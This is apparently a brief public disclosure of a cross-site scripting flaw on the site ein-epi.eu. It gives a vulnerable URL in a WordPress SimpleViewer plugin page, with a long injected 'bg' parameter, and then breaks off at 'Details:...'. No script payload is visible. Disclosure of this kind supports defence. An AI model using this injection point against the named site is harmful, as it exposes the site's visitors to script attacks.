ein-epi.eu XSS vulnerability

Vulnerable URL: http://ein-epi.eu/wp-content/plugins/wp-simpleviewer/svcore/full.html?bg="222222=http://ein-epi.eu/wp-content/plugins/wp-simpleviewer/config.php?galleryid=3=http://ein-epi.eu/grupa-wgn-jest-juz-na-rynku-25-lat/=true=true=false=true=true=true=fff=fff=true=-1=25 lat WGN Details:...